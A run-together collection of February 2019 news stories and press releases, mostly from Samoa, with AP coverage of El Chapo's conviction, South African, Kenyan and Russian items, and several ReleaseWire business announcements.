The MNRE also has a representative sitting on the Board of the Small Grant Program, added Fetoloai, who assists with evaluating and assessing submitted proposals.

Fetoloai said it was the Ministrys board representative who asked if a permit was issued for the land reclamation, which subsequently led to an investigation and the issuing of a stop order to Tuituioaiga.

Then we issued a stop order in the first week of September 2018  and notified him that he needs to stop all the work on the land  and for him to come into the office, to apply for development consent and up to now Teeking Weng has not come into the office."

I can confirm that as of last week we conducted another site visit, and there is nothing happening on site and that the land has overgrown, which means he has changed his mind or hes waiting for the time to come in  to inform us on the proposed development his intentions are for his property, she added.

For Leatinuu, the issue of climate change is critically important for his people, and mangroves will play a vital role over the long-term period in mitigating its effects.

I dont have to tell you the importance of mangroves and the fight we have against climate change. Mangroves have the ability to store vast amounts of carbon, mangrove forests are key weapons in the fight against climate change, but they are under threat worldwide. By protecting mangroves, we can help protect the future of our planet, he said.

The MNRE is currently working with the Attorney Generals Office on the next steps in relation to the disputed land, says Fetoloai, following the issuing of the stop order in September last year.

When she was asked on whether Tuituioaiga will be panelized for non-compliance, she said: I do know they have sent a request to the Attorney Generals Office for assistance in the matter for further enforcement measures.

This newspaper is yet to hear from the MNRE Legal Division, after they were sent questions seeking an update on their interactions with the Attorney Generals Office.Jo Mikarna. Now thats a name to remember folks, shes a true friend of Samoa.

A Policewoman in Melbourne Australia, she has been dubbed Samoas most prolific tourist for obvious reasons, and has perhaps been to Samoa more times than most Samoans residing overseas.

But she doesnt just come for pleasure. While she is in Samoa enjoying herself, shes constantly on the look out for ways to help the locals.

Which brings us to her trip to Samoa this week, where shes been rubbing shoulders with Prime Minister Tuilaepa Dr. Sailele Malielegaoi at the unlikeliest of places for a tourist to visit, the Crop Station Division at Nuu.

So how did it begin?

Well it started when a friend of hers in Samoa asked that on her next trip over, could she bring him a pair of work boots.

I told him, I cant afford boots, but I did look around the office, and I realised yes, I can get you some boots, she said. It dawned on her that in Australia, there are boots for Police officers waiting to be recycled and that was when the idea was born to collect the boots.

On Tuesday in the presence of Prime Minister Tuilaepa, she didnt just present one pair of boots for her friend, she presented 4,000 pairs for Samoa. And just before anyone discredits the work saying that the boots are rubbish being dumped in Samoa, they are not. They are quality working shoes that wouldve otherwise ended up being shredded.

And in Samoa where the majority of farmers and hard labourers still only wear sandals to work, those boots could actually save someones life, especially young people.

For Ms. Mikarna, she said: I have explained to the Agriculture Minister and his team that if his staff or if other people are seen wearing these boots and theyre not in the right industry, its not looking good. These are for the vulnerable, who cant get to the extra money.

And that brings us to Prime Minister Tuilaepa. Ms. Mikarnas message was clearly not lost on the Acting Minister of Agriculture, so that at the presentation of the container of boots, he was quite direct in warning that the boots are not for MAF workers but for the people who really need them in Samoa.

MAF is not allowed to receive any boots, they do not need them, and if they do, they can buy it because they get paid, Tuilaepa said.

We do not want anything bad to happen to the assistance that was given by this kind lady, because we need another hundred of these in the future for the benefit of people.

Prime Minister Tuilaepa then took a trip down memory lane, reminding about a project involving chainsaws as part of a Government-driven effort to curb the rhino beetle problem.

Up until now I have not seen a report that these chainsaws have been used, he said. The chainsaws were given to village mayors but so many have not used it, they must still be sitting under their beds.

With that, he urged the Ministry to allocate the donated resources fairly and to avoid any complaints by the public.

I have been tired of reading so many complaints against the Government, along with me getting all the blame, when I had nothing to do with it, he said.

He went a step further and said that perhaps a list of recipients ought to be shown first to Cabinet.

It is better to have 13 eyes looking at it than only three eyes  which includes the Minister, Associate Minister and CEO of Ministry of Agriculture and Fisheries, he said.

Well thats a pretty firm message from the Prime Minister, a vote of no confidence in the honesty of certain people.

But the Prime Minister does have a valid point. Weve seen far too many of these donations abused and misused at the hands of people who are in those positions to ensure all members of the public  who deserve help  should benefit.

So lets hope all these 4,000 boots get to the people who deserve them the most. As for Ms. Mirkana, well we will remember you. Thank you for thinking of ways to help Samoa, you will always be welcome to our country. And please invite your friends and families to come too. There is much to enjoy about Samoa.

Have a beautiful Thursday Samoa, God bless!NEW YORK (AP)  Mexico's most notorious drug lord, Joaquin "El Chapo" Guzman, was convicted Tuesday of running an industrial-scale smuggling operation after a three-month trial packed with Hollywood-style tales of grisly killings, political payoffs, cocaine hidden in jalapeno cans, jewel-encrusted guns and a naked escape with his mistress through a tunnel.

Guzman listened to a drumbeat of guilty verdicts on drug and conspiracy charges that could put the 61-year-old escape artist behind bars for decades in a maximum-security U.S. prison selected to thwart another one of the breakouts that made him a folk hero in his native country.

A jury whose members' identities were kept secret as a security measure reached a verdict after deliberating six days in the expansive case. They sorted through what authorities called an "avalanche" of evidence gathered since the late 1980s that Guzman and his murderous Sinaloa drug cartel made billions in profits by smuggling tons of cocaine, heroin, meth and marijuana into the U.S.

As the judge read the verdict, Guzman stared at the jury, and his wife watched the scene, both with resignation in their faces. When the jurors were discharged and Guzman stood to leave the courtroom, the couple traded thumbs-ups.

U.S. District Judge Brian Cogan lauded the jury's meticulous attention to detail and the "remarkable" approach it took toward deliberations. Cogan said it made him "very proud to be an American."

Evidence showed drugs poured into the U.S. through secret tunnels or hidden in tanker trucks, concealed in the undercarriage of passenger cars and packed in rail cars passing through legitimate points of entry  suggesting that a border wall wouldn't be much of a worry.

The prosecution's case against Guzman, a roughly 5-foot figure whose nickname translates to "Shorty," included the testimony of several turncoats and other witnesses. Among them were Guzman's former Sinaloa lieutenants, a computer encryption expert and a Colombian cocaine supplier who underwent extreme plastic surgery to disguise his appearance.

One Sinaloa insider described Mexican workers getting contact highs while packing cocaine into thousands of jalapeno cans  shipments that totaled 25 to 30 tons of cocaine worth $500 million each year. Another testified how Guzman sometimes acted as his own sicario, or hitman, punishing a Sinaloan who dared to work for another cartel by kidnapping him, beating and shooting him and having his men bury the victim while he was still alive, gasping for air.

The defense case lasted just half an hour. Guzman's lawyers did not deny his crimes as much as argue he was a fall guy for government witnesses who were more evil than he was.

In closing arguments, defense attorney Jeffrey Lichtman urged the jury not to believe government witnesses who "lie, steal, cheat, deal drugs and kill people."

U.S. Attorney Richard Donoghue called the conviction "a victory for the American people who suffered so much" while the defendant poured poison over the borders. He expected Guzman to get life without parole.

"It is a sentence from which there is no escape and no return," Donoghue told a news conference outside the courthouse, through snow and sleet.

He added: "There are those who say the war on drugs is not worth fighting. Those people are wrong."

Ray Donovan, head the of the Drug Enforcement Administration's New York office said the case underscored Guzman's true colors, showing that "the real Chapo is a ruthless killer and manipulator."

Lichtman said the defense "fought like complete savages" and will appeal the case. "No matter who the defendant is, you still have to fight to the death."

He said his client was a positive thinker who "doesn't give up."

Upon hearing the verdict, Guzman was "as cool as a cucumber," Lichtman added. "Honest to god, we were more upset than he was."

Deliberations were complicated by the trial's vast scope. Jurors were tasked with making 53 decisions about whether prosecutors have proven different elements of the case.

The trial cast a harsh glare on the corruption that allowed the cartel to flourish. Colombian trafficker Alex Cifuentes caused a stir by testifying that former Mexican President Enrique Pena Nieto took a $100 million bribe from Guzman. Pena Nieto denied it, but the allegation fit a theme: politicians, army commanders, police and prosecutors, all on the take.

The tension at times was cut by some of the trial's sideshows, such as the sight of Guzman and his wife, Emma Coronel Aispuro, showing up in matching burgundy velvet blazers in a gesture of solidarity. Another day, a Chapo-size actor who played the kingpin in the TV series "Narcos: Mexico" came to watch, telling reporters that seeing the defendant flash him a smile was "surreal."

While the trial was dominated by Guzman's persona as a near-mythical outlaw who carried a diamond-encrusted handgun and stayed one step ahead of the law, the jury never heard from Guzman himself, except when he told the judge he wouldn't testify.

But his sing-songy voice filled the courtroom, thanks to recordings of intercepted phone calls. "Amigo!" he said to a cartel distributor in Chicago. "Here at your service."

One of the trial's most memorable tales came from girlfriend Lucero Guadalupe Sanchez Lopez, who testified she was in bed in a safe house with an on-the-run Guzman in 2014 when Mexican marines started breaking down his door. She said Guzman led her to a trap door beneath a bathtub that opened up to a tunnel that allowed them to escape.

Asked what he was wearing, she replied: "He was naked. He took off running. He left us behind."

The defendant had previously escaped from jail by hiding in a laundry bin in 2001. He then got an escort from crooked police officers into Mexico City before retreating to one of his many mountainside hideaways. In 2014, he pulled off another jail break, escaping through a mile-long lighted tunnel on a motorcycle on rails.

Even when Guzman was recaptured in 2016 before his extradition to the United States, he was plotting another escape, prosecutor Andrea Goldbarg said in closing arguments.

"Why? Because he is guilty and he never wanted to be in a position where he would have to answer for his crimes," she told the jury. "He wanted to avoid sitting right there. In front of you."A 33-year-old Argentinian tourist has recommended Samoa improve its marketing abroad in order to boost the tourism industry.

Pablo Floyd, who is currently on vacation in Samoa, told the Samoa Observer that he had no idea that Samoa existed prior to his New Zealand visit.

I was travelling in New Zealand for 10 months and one of my friends recommended that I should visit Samoa, but I had never heard of Samoa before.

I decided to try out a new destination and here I am on a beautiful island. I think Samoa needs to improve its marketing and publicity of its beautiful islands, he said.

Mr. Floyd said he has heard a lot about Fiji but not Samoa, and it explains why a lot of people around the world have not heard of the country.

His adventure in Samoa has included a stay in a traditional Samoan house at Lepa.

I enjoyed Samoas beaches but the weather was a bit rough, thankfully the rain stopped, and I had the chance to go for a walk and had a good swim in the ocean. Samoa is quite different because of its people, they are so kind and helpful to assist in any way they can to tourists.

For traditional Samoan delicacies, he ranks palusami  coconut cream wrapped in taro leaves  up there with the best. And the local beer is not far behind, he added.

Mr. Floyd also found the Samoan traditional tattoo and its intricate process amazing.

I was amazed by the traditional Samoan tattoos and the meaning behind it. In my own perspective, culture needs to be preserved for future generations because most countries have lost their very own cultures, he said.

According to Mr. Floyd, Samoa will remain on his bucket list for a return visit and this time he plans to visit Savaii.

I would definitely want to come back and travel to other islands of Samoa like Savaii. I was not able to visit due to the bad weather and they cancelled services between the two islands. I am only in Samoa for six days and I leave tomorrow (today).

And while the Argentinian tourist had a ball over the last six days in Samoa, he hopes local tourism authorities will put up more street signs to assist visitors.

I had the chance to walk around Apia, but it would be nice to have more signs to indicate directions, which would help tourists have a fair understanding of what they should do instead of getting lost, he added.A Samoan-born lawyer who now practices overseas has urged Samoans living in Australia to know their rights when involved in vehicle accidents.

Leota Sinaumea Taufao, who works for the Brisbane-based law firm Littles Lawyer, said Samoans thinking of moving to Brisbane should know their rights in critical times like car crashes and accidents.

A lot of people are involved in car crashes and incidents inside their organizations, but they dont know the process we do here in Littles Lawyer so were here to let them know that there is a place here for them, he said, in an interview with Samoa Observer.

Leota is the Pacific team leader in the Brisbane law firm and is the only one with Samoan/Polynesian background.

When he was asked if he has had any experience representing Samoans in litigation, he said: I settled my first case, a Samoan man who was injured at work, and wasnt aware of his rights and his entitlements. I helped him get the compensation he deserved.

As one of few Samoans currently practicing law in Brisbane, Leota said it is important people dont forget their indigenous background.

E lele le toloa ae maau i le vai, he added, saying he was proud of his heritage as a Samoan and a Pacific islander.

Leota has a bachelor of business and a bachelor of law and commerce from the Griffith University. He is a former president for the Association of Pacific Island Students at the Griffith University and is the son of Reverend Risatisone Taufao and Faitauga Taufao, who is a pastor for Inala Wesleyan Methodist Church in Brisbane.

He has families in Tiavea, Magiagi, Salamumu and Faleasiu and was bestowed with his matai title (Leota) in December last year in Tiavea, alongside his brother Uso Mose Taufao.The Associate Minister of the Ministry of Prime Minister and Cabinet, Peseta Vaifou Tevaga, has been sued by lawyer, Leuluaialii Olinda Woodroffe.

The civil matter was called for mention in the Supreme Court on Monday.

Leuluaialii claims that Peseta owes her NZ$130,000 (T$221,000) in fees for legal services she provided the Associate Minister.

Chief Justice, His Honour, Patu Tiavaasue Falefatu Sapolu presided over the matter.

Lawyer, Kirstin Kruse, represented Peseta, and asked for the matter to be adjourned so she can obtain full instructions from her client.

Chief Justice Patu granted the adjournment for Monday 25th February 2019.

Outside Court, Leuluaialii said it is regrettable she had to take legal actions against Peseta because she has great respect for him.

But he owes my law firm NZ$130,000 in fees, she said.

It is regrettable because I dont dislike him as a person and I did do the best I could in the circumstances of his court cases.

The New Zealand based lawyer said the costs arise from legal matters where she represented Peseta of Aldan Civil Engineering Construction Company Limited and Local Partners and Associates (L.P.A.) nonu company.

It was not possible to get a comment from Peseta.

When the Samoa Observer visited his office at Vaitele, a young man who identified himself as one of his sons said his father was in Savaii for a meeting. He was not aware of his phone number.

Leuluaialii represented Peseta in the previous years on several lawsuits against former Cabinet Minister, Laauli Leuatea Polataivao, and others who were partners of the nonu company  including the Owner of Talamua Media, Apulu Lance Polu.Dear Editor

Re: Samoas poor roads

To be fair, that west coast road is atrocious.

There has been planning and consultations and more planning and more consultations about that road for years now and still nothing has been completed.

There was even talk about a motorway from Faleolo to Vaitele about a decade ago. That went nowhere because of lack of funds. So they changed to a World Bank-funded climate change resilient road in 2012.

Still, after all these years, nothing has come of it. Latest word last year is that the climate change resilient road project is now split into two parts because of lack of funds. What? there has been so much planning into that road.

It would be nice if the media would do an investigation into that road.

Seriously, I know it is a controversial thing to say but it is the truth, if this road was funded by Chinas Exim Bank, they wouldve finished it five years ago. In fact, the motorway wouldve been finished years ago as well.

Say what you want about China but they get things done. They dont muck around.

Whats more, their recent projects have employed several Samoan companies as contractors, as suppliers, labourers, and builders.

So the usual anti-China argument that they dont employ Samoans is rubbish. They are employing Samoans in these projects.

As for the other issue of today involving Laauli, he has a right to do whatever he wants ....OUTSIDE of the HRPP.

He ran under the HRPP banner in the election. People voted for him because, in part, he was running for the HRPP.

If he now wants to go against them, he should resign, go back to the people of his constituency and ask for their support to go back to parliament as an independent or as an opposition party member.

That is democratic. It is because in the 1980s, MPs would run under one party, people vote for him under that party, and then as soon as he got into parliament, he would switch sides to another party after being promised cabinet positions. Forget about the people who voted for him under the first party.

No, the people now have to accept that their MP has jumped to another party which the people did not vote for. Completely undemocratic.

In Australia or New Zealand, an MP who votes against his party doesnt last long. In fact, he or she is likely to be kicked out of the party.

This has happened many times in the past. They either remain in parliament as an independent or, more recent legislation in NZ means that the MP has to resign his seat and run in a by-election to ask the people to return as an independent or under the banner of another party.

Petelo SuaniuDear Editor,

Re: Such a terribly meaning statement is unbecoming of you

Its never a fair battle isnt it?

The Prime Minster used words such as setting an atomic bomb on the petitions of some Savaii villages which he later defended as a figure of speech.

The editor uses words as P.M. screaming and his apologists like you come out accusing him of belittling the P.M.

What have you been watching over the 20plus years Stui has been on the throne? He is the king of belittling and making fun of other people.

He loves putting people down calling them fools and stupid amongst other words unbecoming of a nations leader.

He has no respect for the clergy and his recent attacks on how to carry out their work.

Now unless you have been living under a rock or you have been enjoying massive benefits and perks from Stui and the HRPP regime, I suggest you just zip it and enjoy it while it lasts.

It goes both ways. He has to be able to take it as much as he dishes it out.

PhukettBy SA Commercial Prop News

Airports Company SA (Acsa) on Tuesday launched a massive R4.5 billion mixed-use development set in the western precinct of the OR Tambo International Airport.



State-owned Airports Company SA (Acsa) on Tuesday launched a massive R4.5 billion mixed-use development set in the western precinct of OR Tambo International Airport.

The development will see the precinct acquire new offices, retail space, hotel and conference facilities and additional transit-related services.

Construction will begin before the end of this month, with an anticipated completion date for the first phase at the end of 2020.

Speaking to SA Commercial Prop News at the sod-turning ceremony event, Bongiwe Pityi-Vokwana, GM of the airport, said that the airport plans to target a further 180,000 square metres for a mixed-use development to be located on the northern precinct of the airport.

Ms. Pityi-Vokwana was joined at the ceremony by members of the Western Precinct Consortium, which won the bid for the first phase.

This phase will see construction of three six-storey office buildings, above podium with a floor area of 33 000 square metres.

Says Ms. Pityi-Vokwana: As the busiest airport in Africa and the international gateway to South Africa, it is imperative that O.R Tambo International Airport remains an international landmark with world-class infrastructure and a large variety of services for all users and markets. The Western Precinct development forms part of a strategy to expand our offering and to drive new sources of growth for the entire region.

In addition to this development, O.R Tambo Internationals Airports Company long-term Infrastructure Master Plan features midfield cargo and midfield passenger terminals, each requiring several billion rands in further investment. These developments will accommodate growing passenger demand and expand the midfield cargo facilities at the airport to accommodate up to two million tonnes of air cargo annually.

At the same time, airport users will start to see upgrades to the existing terminal buildings. So, we are entering a very exciting period in the life of our airport which supports about 38,000 jobs in and around the precinct, says Ms. Pityi-Vokwana.

The mixed-use development will consist of a variety of buildings which are framed in such a way as to form a boulevard at the international departures level, where a variety of retail commercial and ancillary buildings each open onto a vibrant energetic street environment serviced by lively restaurants, corner cafes and bars.

The iconic structure will house all the vertical and horizontal circulation functionality in a clear and legible way anchored by the Gautrain station at its core and will provide a unique architectural language to Africas largest airport.

The first phase buildings will provide for:

 Corporate head office for Airports Company South Africa and the South African Civil Aviation Authority and

 Common-use facilities such as a fitness centre, canteen and creche.

The development will improve the connectivity from the Gautrain station and to existing hotels and facilities via pedestrian friendly connections to the international terminal building.

The members of the Western Precinct Consortium are HERI Propco (developer), mmqsmace Consultancy, and TiBER Construction (building contractor). The Consortiums ownership profile is 62% black-owned. The Consortium has committed that a minimum 30% of the total contract value will be sub-contracted to Exempt Micro Enterprises (EMEs) and Qualifying Small Enterprises (QSEs).

We will also be closely partnering with the Consortium to ensure that their Enterprise Development and Skills Development plans are achieved and that local residents are prioritised during the recruitment of labour, Pityi-Vokwana added.

Consortium leader Mandla Mlangeni says the group was delighted to win the competitive bid. Together we bring exceptional engineering and construction skills and experience to the Western Precinct development.

Mlangeni says that during construction of the first phase an estimated 1100 people will be employed on site at the peak of the project.

We have already put in considerable effort to recruiting from the regions around the airport and will continue to do so. In addition, the consortium will remain focused on fulfilling our bid undertakings to use black-owned subcontractors and suppliers, he said.

Ms. Pityi-Vokwana says that ultimately the seven phases of the Western Precinct development will stretch from the site of the old Shade 2 carports in the north to up to where the Southern Sun Hotel is located.

She says that the planned revamp of the airports facade will present an entirely new profile in keeping with its size and role in the regional and national economies. The iconic airport development precinct will serve as a catalyst in transforming the Airport hub into an Aerocity.Buzz!

K.O. is the latest offering by Delhi-based hip-hop phenoms

Delhi based hip-hop phenoms Prabh Deep and Sez on the beat have dropped new music acting as an interlude between their seminal debut album Class-Sikh and Prabhs next offering 84 - 18 - his sophomore project that promises to take an in-depth look into the 1984 anti-Sikh pogrom. Titled as K.O. , this will be a continuing series of short productive outputs by the duo, showcasing their versatility and talent.

The new music video released by Azadi Records is directed by Anurag Sharma. Shot among Delhi lanes, the video looks slick with the duos crew backing the singer and producers flow.

Check out the music video below:Wilmington, MA -- (ReleaseWire) -- 02/13/2019 --Scully Signal Company will be attending Western Petroleum Marketers Association (WPMA) in Las Vegas, Nevada February 19 through the 21st. WPMA helps fuel markets by providing resources for education, training, and networking. WPMA also encourages members to take proactive stances on legislation and regulatory matters. Educational sessions include topics such as "Federal Legislative Update," "Future of Convenience Stores," "Renewable Fuels Standard Outlook," and "A Global Look at Petroleum Marketing."



Scully Signal Company will be exhibiting in booth 1115 and will be featuring its Scully Connect quick connection tank truck overfill prevention's system, and a full line of liquid detection and delivery efficiency equipment. Scully representatives will be on hand to answer any questions about the company's grounding and overfill solutions, as well as oil delivery nozzles, gauges, and water detectors. Scully Regional Manager, Dave Zumba, who will be at the event, states, "Educational and networking trade shows offer fantastic opportunities for us, our prospects, and customers. We are able to learn more about their needs, and demonstrate how our products can help improve the safety and efficiency of their loading and delivery operations.



For more information about Scully please visit Scully.com or contact Scully at Sales@scully.com.



About Scully Signal Company

Scully Signal Company offers a complete range of electronic overfill prevention, grounding, vapor sensing, and vehicle identification systems for petroleum and chemical tank truck, terminal, railcar, and storage tank applications. In addition, Scully offers mechanical tank fill alarms, gauges, delivery nozzles, flow controls, and water detectors for lube and fuel oil tanks and vehicles. Scully systems have set the standard in safety and reliability for over 75 years and are backed by 24-hour technical phone support. All products are designed, manufactured, and serviced in the U.S.A to Scully's exacting standards. For assistance with your specific product application, please contact Scully at 1-800-2-Scully or Sales@scully.com.Saugus, MA -- (ReleaseWire) -- 02/13/2019 --Car wrapping has become a part of advertisement for endorsing products and services in a specific way. According to the latest finding, mainly new companies embrace the idea of marketing and benefit from them.



The idea of car wrapping essentially seems to stem from the need to reach out to the wide audience without investing in an online market which appears to take advertising to a new level.



Due to the increasing demand, car wraps and vehicle graphics have been growing at an enormous pace in recent times. As a result, many existing print shops are using their expertise to leverage business growth by offering vehicle wraps to their customers.



According to the experts, high-quality car wraps require experience and knowledge in many different fields that include design, material, production, preparation, facility, installation, post installation.



Usually, car and van are used for wrapping. Some people use a van for personal use, and some use it for advertisement. Given its appeal, business enterprises are using cars and vans as the advertising medium instead of using flex banners and posters.



There are a lot of companies offering vehicle wrapping service, and Park Press Printing is the right place to design wraps and print it on the website. Over the years, Park Press Printing has earned an excellent reputation for the quality car wrapping in Lynn and Revere, Massachusetts. Car wrapping helps to transform one's car or van into a rolling board for the business.



The best thing about car wraps is that they are not affected by the environment and this kind of advertisement is cost-effective. Car wrapping is an effective way to promote the business the business at a low cost to thousands to customers daily. All one needs to do is to have the design created by the experts at have it wrapped over the vehicle to promote the business.



For more information on window decals in Worchester and Cambridge, Massachusetts, visit https://www.parkpressprinters.com.



About Park Press

Park Press, an expert Cambridge, MA Printing Service Provider, is dedicated to provide cost-effective printing solutions. With 80 years of experience, they have made the reputation as one of the leading printing service providers who specialize in commercial printing, newspaper printing, hardcover book printing, magazine printing, or any other form of printing.New York, NY -- (ReleaseWire) -- 02/13/2019 --Caye International Bank has been named the Best Private Bank in Belize for 2019. This marks the second consecutive year that this leading offshore banking institution has received the honor from Global Finance Magazine, a leading authority on the international banking community. The award denotes the preeminent position of Caye International Bank in the global financial marketplace and its unequaled commitment to customer service.



As Senior Vice President of Caye International Bank, Luigi Wewege received the award on behalf of the bank. Global Finance's 2019 Private Bank Awards gala dinner was held on Tuesday, February 5th, 2019, at the Harvard Club of New York City. The event began at 6:00 p.m. and included a reception, a formal dinner, and a keynote address by the author of Mortal Republic, Edward J. Watts. Awards were then announced, and the evening concluded with drinks and networking at this exclusive venue.



Global Finance Magazine drew on a number of resources when choosing the winners of its 2019 awards. Public filings, company reports and statements, recommendations from financial industry leaders, and the guidance of analysts and experts in the financial industry were all part of the decision-making process when determining the winners of these prestigious awards. Caye International Bank's reputation for outstanding customer service was a key factor in its selection for the award.



In response to this prestigious award, Wewege said, "This is a great honor not only for Caye International Bank as a financial institution but also for the people who work on behalf of our clients every day. We are grateful for the outstanding contributions made by our staff members at every level." Wewege went on to commend the leadership of the bank's Board of Directors and to express thanks to the clients and shareholders that make the success of Caye International Bank possible.



A Safe and Stable Economy

Belize offers outstanding security and safety for client deposits, making it an excellent choice for investors from the U.S. and other parts of the world. The stable economic conditions in Belize and the fact that its currency is pegged to the U.S. dollar provides greater comfort and confidence for bank customers. People can also feel safe when depositing their money in Belize because the Central Bank reserve requirements in Belize are at least four times the reserve requirements of those in the United States for their local banks. An example of this is Caye International Bank which has one of the highest liquidity ratios of any global bank and this is currently set at 24 percent.



About Global Finance Magazine

Global Finance Magazine was originally founded in 1987 and provides insights and recommendations for its clients on the best banks and the most advantageous financial options available in the modern marketplace. The magazine has built a solid reputation for accurate information and outstanding financial guidance over more than 30 years in the industry. The Global Finance Annual Best Banks list is eagerly awaited by investors across the financial field and showcases banks with a deep and lasting commitment to customer service and cutting-edge products.



About Luigi Wewege

Luigi is the Senior Vice President of Caye International Bank, the published author of the book: The Digital Banking Revolution has co-authored economic research which was presented before the U.S. Congress and serves as an Instructor at the FinTech School as well as a Speaker at the Silicon Valley Innovation Centre both based in California. He holds an Italian MBA with a major in International Business, and a BSBA with a triple major in Finance, International Business, plus Management - cum laude from the University of Missouri-St. Louis.



About Caye International Bank

Caye International Bank offers its customers access to a wide array of investment options and convenient accounts that can be opened easily from any country around the globe. The bank is located on the beautiful island of Ambergris Caye in Belize and provides superior security and protection for financial resources entrusted to the bank. To learn more about Caye, please visit the bank's website located at www.cayebank.bz.



Contact Details:

Media Manager

notify@cayebank.bz

+501-226-2388Douglasville, GA -- (ReleaseWire) -- 02/13/2019 --Whether it is a simple sprain or a severe accident with multiple injuries, it is rightly advised to visit a physiotherapist. The physical therapy in Alpharetta and DeKalb County, Georgia is aimed at finding the function of the injured area as quickly as possible while ensuring painless mobility.



Assured & Associates Personal Care of Georgia is an establishment that helps patients increase their quality of life. The staff is well trained to help increase the range of motion, improve communication, and tune-up motor skills.



With compassion and professionalism, they see that the patients receive the best treatment. The personalized exercise program that the company arranges allows one to participate in the rehabilitation actively.



Over the years, the company has earned an excellent name for the quality of the service they provide. Each patient is assured to get one-on-one treatment. The demand for the service has increased in recent times is because it is painless.



The therapy includes techniques to improve physical health and assist with healing. It can help the patient in curing injured tissue and facilitate mobility on its own. In case one has already had surgery, physical therapy is one of the most effective methods to bring one in good shape with faster recovery.



The chief aim of the therapy is to focus on a weak area of the patient's body and formulating best plan helps in strengthening their vulnerable points. By recognizing the weak area of the body, the physical therapist will analyze the patient's problem and create the best exercise regime to revive the infirm patients.



For more information on transportation in Douglasville and Atlanta, Georgia, visit https://www.assuredandassociates.com/transportation.



About Assured & Associates Personal Care

Assured & Associates Personal Care was founded over a decade ago to meet and exceed the needs of elderly, disabled, and chronically ill individuals who wish to remain in their homes.Detention upheld for four more Ukrainian sailors charged with Russian border violation

 RAPSI, Vladimir Burnov

14:11 13/02/2019

MOSCOW, February 13 (RAPSI)  The Moscow City Court on Wednesday dismissed appeals of four more Ukrainian sailors charged with illegal crossing of Russian borders against extension of their detention until April 24, RAPSI learnt in the courts press service.

Appeals have been lodged by Yury Budzylo, Yury Bezyazychny, Sergey Chulib and Bogdan Nebylitsyn.

Earlier this month, the court upheld extension of other eight sailors detention for two months.

On November 25, Russian border guard officers had to engage a weapon to stop unwarranted maneuvers of three Ukrainian ships in Russias territorial waters in the area of Kerch Strait. The ships were seized while 24 crew members were arrested. Three sailors were wounded.

Simferopol and Kerch courts ruled the sailors be detained. On November 30, all of them were transferred to Moscow.



Kenya-KAIST kicks off with $95 million funding from the Korean government

KAIST, founded through a six-million USD loan from USAID in 1971, to provide turnkey-based education consultancy for Kenya's first advanced science and technology institute

KAIST and the Konza Technopolis Development Authority (KoTDA) announced the official establishment of Kenya-KAIST by 2021 during a kickoff ceremony on February 12 in Kenya. The KAIST delegation headed by President Sung-Chul Shin and Kenyan cabinet members and dignitaries including Minister of Education Amina Mohamed, the Chairman of the KoTDA Reuben Mutiso, and the CEO of KoTDA John Tanui attended the ceremony.

With this kickoff held at Konza Technopolis Malili, KAIST, the first and top science and technology university in Korea, will participate in Kenya's strategic economic development plan with the provision of a turnkey-based science and technology education consultancy for the establishment of Kenya's first advanced institute of science and technology. KAIST, which won preferred bidder status in consortium with Samwoo and Sunjin architecture and engineering companies, signed the contract with the KoTDA last November.

Korea Eximbank will offer a 95-million USD economic development cooperation fund loan to the Kenyan government. The campus will be constructed in the Konza Techno City located near Nairobi by 2021, with the first batch of 200 graduate students starting classes in 2022.

KAIST will develop academic curricula for six initial departments (Mechanical Engineering, Electrical/Electronic Engineering, ICT Engineering, Chemical Engineering, Civil Engineering, and Agricultural Biotechnology), which will lay the groundwork for engineering research and education in Kenya to meet emerging socioeconomic demands. In addition, KAIST will provide education in the basic science areas of math, physics, chemistry, and biology for students.

The Kenyan government plans to transform Kenya into a middle-income country under Vision 2030 through the promotion of science, technology, and innovation for national economic growth. Nicknamed Africa's Silicon Savannah, Konza Techno City is a strategic science and technology hub constructed to realize this vision. To this end, the medium-term plan set a goal to provide specialized research and training in various cutting-edge engineering and advanced science fields.

It is also notable that the Kenyan government asked to develop an industry-academy cooperation program in the Konza Techno City. This reflects the high expectations for Kenya-KAIST and its role as a growth engine in the center of the Konza Technopolis. It is anticipated that the technopolis will create 16,675 jobs in the medium term and over 200,000 upon completion, positioning Kenya as an ICT hub within the region.

Saying that the partnership through Kenya-KAIST will bring a new future to Kenya as well as KAIST at the ceremony, President Shin reflected that the project will be a significant milestone for KAIST's history and global competitiveness. He added, "With this Kenya project, we come to share the past, present, and future of KAIST. And I am very pleased to celebrate our shared vision: the empowerment of science, technology, and education."

In particular, President Shin was accompanied by Dr. Kun-Mo Chung, a founding provost who served as the Minister of Science and Technology in Korea twice. He now serves as an advisor to Kenyan President Uhuru Kenyatta.

Dr. Chung had played a crucial role in securing a six-million USD loan from US AID to the Korean government to establish KAIST in 1971. He proposed the idea to establish an advanced science and technology institute in Korea to Dr. John Hannah, then the director of US AID.

The seed that was sowed five decades ago in Korea by Dr. Chung has now fully bloomed in Kenya. In only a half century, KAIST has become a donor institution that passes on science and technology education systems including the construction of campuses to developing countries.

KAIST has been acclaimed as US AID's most successful foreign aid project. A report from the National Academy of Sciences in the US described KAIST as an exemplary case in which a former recipient of international aid has grown to become a science, technology and innovation leader.

The kickoff of Kenya-KAIST drew the attention of both media and local universities in Kenya, attesting to their strong interest to drive economic growth through advanced science and technology.

The University of Nairobi also hosted a special lecture by President Shin, asking him to share the recipe for the success of KAIST in Korea. In a lecture titled "A Crucial Engine for Rapid National Development," President Shin presented the vision, innovation, and passion of the Korean people that led to the phenomenal results we can see today.

The successful case of KAIST has been benchmarked by many countries for years. For instance, KAIST set up the curriculum for the nuclear engineering program at the Khalifa University of Science and Technology in UAE in 2010. Since 2015, Chongquing University of Technology in China has been running its electrical engineering and computer science programs based on the educational systems and curricula offered by KAIST.

Last October, KAIST also signed an MOU with the Prince Mohammad Bin Salman College of Cyber Security, AI, and Advanced Technologies in Saudi Arabia to provide the undergraduate program for robotics.

Among all these programs benchmarking KAIST, Kenya-KAIST clearly stands out, as it carries out a turnkey-based project that encompasses every aspect of institution building, ranging from educational curricular development to campus construction and supervision.

###

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Moscow Region district ex-head charged with bribery to remain in detention till May 13

 RAPSI

10:44 13/02/2019

MOSCOW, February 13 (RAPSI)  Moscows Basmanny District Court has extended the term of detention for ex-head of the Moscow Regions Serpukhov District Alexander Shestun as part of a case over embezzlement and bribery until May 13, the courts press service has told RAPSI.

The court on Tuesday also issued an arrest warrant for another defendant, businessman Sergey Samsonov, in absentia. He has been put on the international wanted list along with another alleged accomplice, ex-head of Bolshevik, a small town in the Moscow Region, Boris Krivodubsky.

A motion to arrest Krivodubsky in absentia will be considered on February 20.

